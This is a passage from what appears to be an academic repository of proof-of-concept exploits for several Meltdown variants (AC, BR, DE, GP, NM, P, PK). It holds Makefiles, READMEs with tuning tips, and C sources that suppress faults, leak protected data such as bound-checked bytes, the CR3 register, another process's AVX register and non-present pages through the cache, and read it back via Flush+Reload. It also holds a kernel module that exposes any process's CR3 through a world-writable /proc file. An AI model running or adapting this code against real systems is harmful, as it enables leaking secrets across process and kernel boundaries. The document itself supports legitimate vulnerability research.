maccess(buffer); 58 | // Enable alignment checks 59 | #if !defined(__aarch64__) 60 | ENABLE_AC; 61 | #endif 62 | #if SUPPRESS_FAULT 63 | if(try_start()) { 64 | #endif 65 | /* Dereference it as an int pointer, causing an unaligned access */ 66 | maccess(mem + ('0' + (*p)) * pagesize); 67 | #if SUPPRESS_FAULT 68 | try_abort(); 69 | } 70 | try_end(); 71 | #endif 72 | // Disable alignment checks 73 | #if !defined(__aarch64__) 74 | DISABLE_AC; 75 | #endif 76 | 77 | //Recover data from cache covert channel 78 | for(int i = 0; i < 256; i++) { 79 | int mix_i = ((i * 167) + 13) % 256; 80 | if(mix_i != 0 && flush_reload(mem + mix_i * pagesize)) { 81 | printf("%c ", mix_i); 82 | fflush(stdout); 83 | } 84 | } 85 | } 86 | 87 | printf("Meltdown-AC done!\n"); 88 | 89 | printf("buffer contains: %d\n", *(buffer)); 90 | free(mem); 91 | 92 | return EXIT_SUCCESS; 93 | } 94 | -------------------------------------------------------------------------------- /pocs/meltdown/BR/Makefile: -------------------------------------------------------------------------------- 1 | ifndef MPX 2 | MPX = 1 3 | endif 4 | 5 | ifndef TSX 6 | TSX = 0 7 | endif 8 | 9 | ifndef LFENCE 10 | LFENCE = 0 11 | endif 12 | 13 | ifeq ($(M32),1) 14 | CFLAGS += -m32 -DM32=1 15 | endif 16 | 17 | ifeq ($(MPX),1) 18 | CFLAGS += -mmpx -fcheck-pointer-bounds 19 | endif 20 | 21 | CFLAGS += -DLFENCE=$(LFENCE) -DUSE_TSX=$(TSX) -I../../ 22 | 23 | all: x86 24 | 25 | x86: main_x86 26 | 27 | main_x86: main.c 28 | gcc $(CFLAGS) main.c -o poc_x86 29 | 30 | clean: 31 | rm -f poc_* 32 | -------------------------------------------------------------------------------- /pocs/meltdown/BR/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-BR PoC 2 | 3 | This folder contains a Meltdown-BND and Meltdown-MPX proof-of-concept implementation for x86_64. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` for x86_64. 12 | 13 | The expected output is 14 | ``` 15 | dog[0] = 'a' (recovered 'a') 16 | dog[1] = 'b' (recovered 'b') 17 | dog[2] = 'c' (recovered 'c') 18 | dog[3] = 'x' (recovered 'x') 19 | PF 0: dog[4] = 'y' (recovered 'y') 20 | ``` 21 | 22 | ## How it works 23 | In our PoC, we map a piece of memory that we want to protect either the x86 bound instruction or via Intel MPX. After doing the setup for protecting the data, we access the data and encode it in the cache. We suppress the bound-range-exceeded exception either via Intel TSX or segfault handling. 24 | 25 | ## Troubleshooting 26 | 27 | * The output is garbage (mostly just (random letters)) 28 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 29 | 30 | * The program does not leak anything 31 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores. 32 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 33 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 34 | -------------------------------------------------------------------------------- /pocs/meltdown/BR/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include "libcache/cacheutils.h" 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | char mem2[4096 * 256]; 12 | 13 | #define DOG_STR "abcx" 14 | #define PWD_STR "yyyy" 15 | #define DOG_LEN strlen(DOG_STR) 16 | #define PWD_LEN strlen(PWD_STR) 17 | 18 | #define FR_START 'a' 19 | #define FR_END 'z' 20 | 21 | // Define the bounds for the dog 22 | struct { 23 | uint32_t low; 24 | uint32_t high; 25 | } my_dog_bounds = { 26 | .low = 0, 27 | .high = DOG_LEN 28 | }; 29 | 30 | char *buffer; 31 | int idx = 0, fault = 0, fault_recovered = 0; 32 | 33 | void fault_handler(int no) { 34 | int i; 35 | fault_recovered = 0; 36 | // Recover the data from the covert channel 37 | for (i = FR_START; i < FR_END; i++) { 38 | if (flush_reload(mem2 + i * 4096)) { 39 | fault_recovered = i; 40 | break; 41 | } 42 | } 43 | printf("PF %d: dog[%d] = '%c' (recovered '%c')\n", 44 | fault++, idx, buffer[idx], fault_recovered ? i : 'x'); 45 | 46 | /* resolve faulting BOUND to retry */ 47 | #if __MPX__ 48 | exit(0); 49 | #else 50 | my_dog_bounds.high += PWD_LEN; 51 | #endif 52 | } 53 | 54 | int __attribute__((aligned(0x1000))) dummy; 55 | 56 | int main(void) { 57 | int status, i; 58 | char c = 'X'; 59 | 60 | // Install signal handler 61 | signal(SIGSEGV, fault_handler); 62 | memset(mem2, 1, sizeof(mem2)); 63 | 64 | // Detect cache threshold 65 | if(!CACHE_MISS) 66 | CACHE_MISS = detect_flush_reload_threshold(); 67 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 68 | 69 | buffer = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, 70 | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 71 | 72 | strcpy(buffer, DOG_STR PWD_STR); 73 | 74 | // Flush our shared memory 75 | for (i = 0; i < 256; i++) { 76 | flush(mem2 + i * 4096); 77 | } 78 | 79 | for (idx = 0; idx < DOG_LEN + PWD_LEN; idx++) { 80 | // Ensure data is in the cache 81 | maccess(buffer); 82 | unsigned status; 83 | 84 | // Define the bounds for the dog 85 | #if __MPX__ 86 | void *p = __bnd_set_ptr_bounds(buffer, DOG_LEN); 87 | #else 88 | my_dog_bounds.high = DOG_LEN; 89 | #endif 90 | 91 | // tsx begin 92 | #if USE_TSX 93 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" 94 | : "=a"(status) 95 | : "a"(-1UL) 96 | : "memory"); 97 | if (status == (~0u)) { 98 | #endif 99 | /* high-latency access to prolong transient execution beyond fault */ 100 | maccess(&dummy); 101 | 102 | /* explicit check to allow LFENCE insertion */ 103 | #if __MPX__ 104 | __bnd_chk_ptr_bounds(p, idx+1); 105 | #else 106 | asm("bound %0, (my_dog_bounds)\n\t" 107 | : : "r" (idx+1) : ); 108 | #endif 109 | 110 | #if LFENCE 111 | nospec(); 112 | #endif 113 | 114 | // Illegal access to data 115 | c = buffer[idx]; 116 | // Encode data in the cache 117 | maccess(mem2 + c*4096); 118 | 119 | // tsx end 120 | #if USE_TSX 121 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 122 | } 123 | else { 124 | c = 'X'; 125 | fault_recovered = 1; 126 | } 127 | #endif 128 | 129 | // Recover data from the cache 130 | for (i = FR_START; i < FR_END; i++) { 131 | if (flush_reload(mem2 + i * 4096)) { 132 | break; 133 | } 134 | } 135 | flush(&dummy); 136 | 137 | if((idx >= DOG_LEN) && !fault_recovered) 138 | idx--; 139 | else 140 | printf("dog[%d] = '%c' (recovered '%c')\n", idx, c, i); 141 | } 142 | 143 | printf("Meltdown-BR done!\n"); 144 | 145 | return EXIT_SUCCESS; 146 | } 147 | -------------------------------------------------------------------------------- /pocs/meltdown/DE/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -O3 -I../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/meltdown/DE/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-DE PoC 2 | 3 | This folder contains a Meltdown-DE proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | If the PoC is successfull the output is 14 | ``` 15 | d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d 16 | ``` 17 | 18 | This indicates that the register is set to 0 and that Meltdown-DE does not work based on our PoC (we encourage testing other approaches). 19 | 20 | ## How it works 21 | In this PoC, we encode try to encode the result of a division by zero in the cache that we subsequently want to leak using Flush+Reload. We prevent the exception from being raised either via Intel TSX or segfault handling. 22 | 23 | ## Troubleshooting 24 | 25 | * The output is garbage (mostly just (random letters)) 26 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 27 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 28 | 29 | * The program does not leak anything 30 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 31 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 32 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 33 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 34 | -------------------------------------------------------------------------------- /pocs/meltdown/DE/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "libcache/cacheutils.h" 10 | 11 | volatile int d = 0; 12 | 13 | int main(void) { 14 | pagesize = sysconf(_SC_PAGESIZE); 15 | mem = (char*) malloc( pagesize * 256 ); 16 | memset(mem, 1, pagesize * 256); 17 | // Detect cache threshold 18 | if(!CACHE_MISS) 19 | CACHE_MISS = detect_flush_reload_threshold(); 20 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 21 | 22 | // Flush our shared memory 23 | flush_shared_memory(); 24 | 25 | printf("Output legend:\n"); 26 | printf(" '3'.....Division sets register to 0\n"); 27 | printf(" 'd'.....Division does not change register\n\n"); 28 | 29 | for(int r = 0; r < 1000000; r++) { 30 | if(try_start()) { 31 | // Null pointer access makes attack better 32 | maccess(0); 33 | // Encode result of division in the cache 34 | maccess(mem + ('1' / d + '3') * 4096); 35 | 36 | try_abort(); 37 | } 38 | try_end(); 39 | 40 | // Recover data from the cache 41 | for(int i = 0; i < 256; i++) { 42 | int mix_i = ((i * 167) + 13) % 256; 43 | if(flush_reload(mem + mix_i * pagesize)) { 44 | printf("%c ", mix_i); 45 | fflush(stdout); 46 | } 47 | } 48 | sched_yield(); 49 | } 50 | 51 | printf("Meltdown-DE done!\n"); 52 | free(mem); 53 | 54 | return EXIT_SUCCESS; 55 | } 56 | -------------------------------------------------------------------------------- /pocs/meltdown/GP/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | 5 | module/kernel_module.ko: module/kernel_module.c 6 | cd module && make 7 | 8 | main_x86: main.c module/kernel_module.ko 9 | gcc main.c -o poc_x86 -O3 -I../../ 10 | 11 | clean: 12 | rm -f poc_* && cd module && make clean 13 | -------------------------------------------------------------------------------- /pocs/meltdown/GP/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-GP PoC 2 | 3 | This folder contains a Meltdown-GP proof-of-concept implementation for x86_64. 4 | For ARM, we used the PoC from https://github.com/lgeek/spec_poc_arm. 5 | 6 | ## Compile 7 | 8 | Compile using `make x86` for the x86_64 version. 9 | 10 | ## Run 11 | 12 | Run with `./poc_x86` for x86_64. 13 | 14 | The expected output depends on the content of the cr3 register. 15 | 16 | ## How it works 17 | In this PoC, we encode the content of the cr3 register in the cache. This triggers a general-protection fault as the cr3 is a privileged reggister. We suppress this exception either via Intel TSX or segfault handling. 18 | 19 | ## Troubleshooting 20 | 21 | * The output is garbage (mostly just (random letters)) 22 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 23 | 24 | * The program does not leak anything 25 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores. 26 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 27 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 28 | -------------------------------------------------------------------------------- /pocs/meltdown/GP/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "libcache/cacheutils.h" 10 | 11 | int main(int argc, char **argv) { 12 | pagesize = sysconf(_SC_PAGESIZE); 13 | // Detect cache threshold 14 | if(!CACHE_MISS) 15 | CACHE_MISS = detect_flush_reload_threshold(); 16 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 17 | 18 | // print CR3 register content 19 | pid_t pid = getpid(); 20 | char pid_s[64]; 21 | // get CR3 register for running process 22 | sprintf(pid_s, "echo %zd > /proc/cr3; cat /proc/cr3", (size_t)pid); 23 | printf("PID: %zd\n", (size_t)pid); 24 | printf("CR3: "); 25 | fflush(stdout); 26 | (void)system(pid_s); 27 | printf("\n"); 28 | 29 | // Allocate and align shared memory 30 | char *_mem = malloc(pagesize * 300); 31 | mem = (char*)((size_t)_mem & ~(pagesize - 1)) + pagesize * 2; 32 | memset(mem, 0, pagesize * 290); 33 | 34 | // Flush our shared memory 35 | flush_shared_memory(); 36 | 37 | while(1) { 38 | // Start TSX 39 | if(try_start()) { 40 | // Null pointer access prolongs transient window 41 | maccess(0); 42 | // Encode content of the CR3 register in the cache 43 | asm volatile("movq %%cr3, %%rax\n" 44 | "andq $0xff000, %%rax\n" 45 | "movq (%%rbx,%%rax,1), %%rbx\n" 46 | : 47 | : "b"(mem) 48 | : "rax"); 49 | try_abort(); 50 | } 51 | try_end(); 52 | 53 | int i; 54 | // Recover data from the covert channel 55 | for(i = 0; i < 256; i++) { 56 | if(flush_reload(mem + i * pagesize)) { 57 | printf("%x ", i); 58 | fflush(stdout); 59 | sched_yield(); 60 | } 61 | } 62 | sched_yield(); 63 | } 64 | 65 | free(_mem); 66 | return EXIT_SUCCESS; 67 | } 68 | -------------------------------------------------------------------------------- /pocs/meltdown/GP/module/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += kernel_module.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | 9 | -------------------------------------------------------------------------------- /pocs/meltdown/GP/module/kernel_module.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | static unsigned long cr3_val = 0; 13 | 14 | static struct mm_struct *get_mm(size_t pid) { 15 | struct task_struct *task; 16 | struct pid *vpid; 17 | 18 | /* Find mm */ 19 | task = current; 20 | if(pid != 0) { 21 | vpid = find_vpid(pid); 22 | if(!vpid) 23 | return NULL; 24 | task = pid_task(vpid, PIDTYPE_PID); 25 | if(!task) 26 | return NULL; 27 | } 28 | if(task->mm) { 29 | return task->mm; 30 | } else { 31 | return task->active_mm; 32 | } 33 | return NULL; 34 | } 35 | 36 | unsigned long pid_to_cr3(size_t pid) { 37 | struct mm_struct *mm = get_mm(pid); 38 | void *cr3_virt; 39 | unsigned long cr3_phys; 40 | 41 | if(mm) { 42 | cr3_virt = (void *)mm->pgd; 43 | cr3_phys = virt_to_phys(cr3_virt); 44 | 45 | return cr3_phys; 46 | } else { 47 | printk(KERN_INFO "No process found"); 48 | return 0; 49 | } 50 | } 51 | 52 | static int my_proc_show(struct seq_file *m, void *v) { 53 | seq_printf(m, "0x%zx\n", cr3_val); 54 | return 0; 55 | } 56 | 57 | static ssize_t my_proc_write(struct file *file, const char __user *buffer, 58 | size_t count, loff_t *f_pos) { 59 | char tmp[32]; 60 | if(copy_from_user(tmp, buffer, 32)) { 61 | return EFAULT; 62 | } 63 | cr3_val = pid_to_cr3(simple_strtol(tmp, NULL, 0)); 64 | return count; 65 | } 66 | 67 | static int my_proc_open(struct inode *inode, struct file *file) { 68 | return single_open(file, my_proc_show, NULL); 69 | } 70 | 71 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0) 72 | static struct proc_ops my_ops = {.proc_open = my_proc_open, 73 | .proc_release = single_release, 74 | .proc_read = seq_read, 75 | .proc_lseek = seq_lseek, 76 | .proc_write = my_proc_write}; 77 | #else 78 | static struct file_operations my_ops = {.owner = THIS_MODULE, 79 | .open = my_proc_open, 80 | .release = single_release, 81 | .read = seq_read, 82 | .llseek = seq_lseek, 83 | .write = my_proc_write}; 84 | #endif 85 | 86 | static int __init hello_init(void) { 87 | struct proc_dir_entry *entry; 88 | entry = proc_create("cr3", 0777, NULL, &my_ops); 89 | if(!entry) { 90 | return -1; 91 | } else { 92 | printk(KERN_INFO "create proc file successfully\n"); 93 | } 94 | return 0; 95 | } 96 | 97 | static void __exit hello_exit(void) { 98 | remove_proc_entry("cr3", NULL); 99 | printk(KERN_INFO "Goodbye world!\n"); 100 | } 101 | 102 | module_init(hello_init); 103 | module_exit(hello_exit); 104 | MODULE_LICENSE("GPL"); 105 | -------------------------------------------------------------------------------- /pocs/meltdown/NM/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c victim.c secret.h 7 | gcc main.c -o poc_x86 -Os -I../../ 8 | gcc victim.c -o victim -Os 9 | 10 | main_arm: main.c victim.c secret.h 11 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ 12 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os victim.c -o victim -I../../ 13 | 14 | clean: 15 | rm -f poc_* victim 16 | -------------------------------------------------------------------------------- /pocs/meltdown/NM/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-NM PoC 2 | 3 | This folder contains a Meltdown-NM proof-of-concept implementation for x86_64. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | This PoC consists of two different process. The victim constantly loads the secret value into an AVX2 register. On a vulnerable CPU and OS, the register content is not saved on a context switch due to lazy switching. Our attacker process exploits this by loading the value from the AVX2 register and encodes it in the cache. The data is then recovered using a Flush+Reload attack. 20 | 21 | ## Troubleshooting 22 | 23 | * The output is garbage (mostly just (random letters)) 24 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 25 | 26 | * The program does not leak anything 27 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores. 28 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 29 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 30 | -------------------------------------------------------------------------------- /pocs/meltdown/NM/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "libcache/cacheutils.h" 14 | #include "secret.h" 15 | 16 | int main(void) { 17 | pagesize = sysconf(_SC_PAGESIZE); 18 | mem = (char*) malloc( pagesize * 256 ); 19 | memset(mem, 1, pagesize * 256); 20 | // Detect cache threshold 21 | if(!CACHE_MISS) 22 | CACHE_MISS = detect_flush_reload_threshold(); 23 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 24 | 25 | // Flush our shared memory 26 | flush_shared_memory(); 27 | 28 | printf("Output legend:\n"); 29 | printf(" '%c'.....Works\n", SECRET); 30 | 31 | for(int r = 0; r < 1000000; r++) { 32 | if(try_start()) { 33 | // Encode the data from the AVX register of the other process in the cache 34 | asm volatile("1:\n" \ 35 | "movq (%%rsi), %%rsi\n" \ 36 | "movq %%xmm0, %%rax\n" \ 37 | "shl $12, %%rax\n" \ 38 | "jz 1b\n" \ 39 | "movq (%%rbx,%%rax,1), %%rbx\n" \ 40 | : \ 41 | : "b"(mem), "S"(0) \ 42 | : "rax"); 43 | try_abort(); 44 | } 45 | try_end(); 46 | 47 | // Recover data from the cache 48 | for(int i = 0; i < 256; i++) { 49 | int mix_i = ((i * 167) + 13) % 256; 50 | if (mix_i != 0 && flush_reload(mem + mix_i * pagesize)) { 51 | printf("%c ", mix_i); 52 | fflush(stdout); 53 | } 54 | } 55 | } 56 | 57 | printf("Meltdown-NM done!\n"); 58 | free(mem); 59 | 60 | return EXIT_SUCCESS; 61 | } 62 | -------------------------------------------------------------------------------- /pocs/meltdown/NM/secret.h: -------------------------------------------------------------------------------- 1 | #ifndef SECRET_H 2 | #define SECRET_H 3 | 4 | #define SECRET 'S' 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /pocs/meltdown/NM/victim.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include "secret.h" 4 | 5 | int main(void) { 6 | size_t secret = SECRET; 7 | // Constantly load the secret data into an AVX register 8 | while(1) 9 | asm volatile( "pause\t\n" 10 | "movq %0, %%xmm0" :: "r"(secret) ); 11 | 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /pocs/meltdown/P/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -O3 -I../../ -L../../libpte -lpte -lrt 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ -L../../libpte -lpte -lrt 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/meltdown/P/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-P PoC 2 | 3 | This folder contains a Meltdown-P proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | In our PoC, we create a shared mapping to a piece of memory. For one mapping, we clear the present bit using libpte (PTEditor), the other one remains a valid (present) mapping. This valid mapping is required to load the data into the cache. 20 | 21 | We leak the data by accessing it through the non-present mapping and encode the data in the cache by accessing a page depending on the loaded value. We recover the data using a Flush+Reload attack. In our PoC, we suppress the page fault either via Intel TSX or segfault handling. Another possibility would be to hide the faulting access in speculation. 22 | 23 | ## Troubleshooting 24 | 25 | * The output is garbage (mostly just (random letters)) 26 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 27 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 28 | 29 | * The program does not leak anything 30 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 31 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 32 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 33 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 34 | -------------------------------------------------------------------------------- /pocs/meltdown/P/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "libpte/ptedit_header.h" 14 | #include "libcache/cacheutils.h" 15 | 16 | char *victim_page; 17 | 18 | #define SECRET 'S' 19 | 20 | int main(void) { 21 | pagesize = sysconf(_SC_PAGESIZE); 22 | mem = (char*) malloc( pagesize * 256 ); 23 | memset(mem, 1, pagesize * 256); 24 | if(!CACHE_MISS) 25 | CACHE_MISS = detect_flush_reload_threshold(); 26 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 27 | 28 | // Initialize PTEditor to manipulate page table entries 29 | if(ptedit_init()) { 30 | printf("Could not initialize ptedit (did you load the kernel module?)\n"); 31 | return 1; 32 | } 33 | 34 | // We need a shared mapping. One mapping gets P bit cleared.. 35 | // The second one remains valid to keep data in the cache as it works better. 36 | int shm = shm_open("shared_mapping", O_CREAT | O_RDWR, 0644); 37 | if(shm == -1) { 38 | fprintf(stderr, "Error: Shared memory\n"); 39 | return -1; 40 | } 41 | 42 | // Set memory objects size 43 | if(ftruncate(shm, 4096 * 2) == -1) { 44 | fprintf(stderr, "Error: Could not set shared memory object size\n"); 45 | return -1; 46 | } 47 | 48 | // Victim mapping that gets P bit cleared 49 | victim_page = mmap(NULL, pagesize, PROT_READ | PROT_WRITE, 50 | MAP_SHARED, shm, 0); 51 | 52 | // Mapping for keeping data in the cache 53 | char* accessor = mmap(NULL, pagesize, PROT_READ | PROT_WRITE, 54 | MAP_SHARED, shm, 0); 55 | 56 | // Write data we want to recover to our victim page 57 | memset( victim_page, SECRET, pagesize * sizeof(char) ); 58 | // Clear P bit of our victim page 59 | ptedit_pte_clear_bit( victim_page, 0, PTEDIT_PAGE_BIT_PRESENT); 60 | 61 | // Flush our shared memory 62 | flush_shared_memory(); 63 | 64 | printf("Output legend:\n"); 65 | printf(" '%c'.....Works\n", (char)SECRET); 66 | 67 | for(int r = 0; r < 1000000; r++) { 68 | // Load data into the cache and fence 69 | maccess(accessor); 70 | mfence(); 71 | //Start TSX transaction if available on CPU 72 | if(try_start()) { 73 | // Null pointer access prolongs transient window 74 | maccess(0); 75 | // Perform access based on unauthorized data 76 | maccess(mem + *victim_page * 4096); 77 | try_abort(); 78 | } 79 | try_end(); 80 | 81 | // Recover data from cache covert channel 82 | for(int i = 0; i < 256; i++) { 83 | int mix_i = ((i * 167) + 13) % 256; 84 | if (mix_i != 0 && flush_reload(mem + mix_i * pagesize)) { 85 | printf("%c ", mix_i); 86 | fflush(stdout); 87 | } 88 | } 89 | } 90 | 91 | printf("Meltdown-P done!\n"); 92 | munmap(victim_page, pagesize); 93 | munmap(accessor, pagesize); 94 | ptedit_cleanup(); 95 | free(mem); 96 | exit(EXIT_SUCCESS); 97 | } 98 | -------------------------------------------------------------------------------- /pocs/meltdown/PK/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | 5 | main_x86: main.c 6 | gcc main.c -o poc_x86 -O3 -I../../ 7 | 8 | clean: 9 | rm -f poc_* 10 | -------------------------------------------------------------------------------- /pocs/meltdown/PK/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-PK PoC 2 | 3 | This folder contains a Meltdown-PK proof-of-concept implementation for x86_64. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` for x86_64. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S 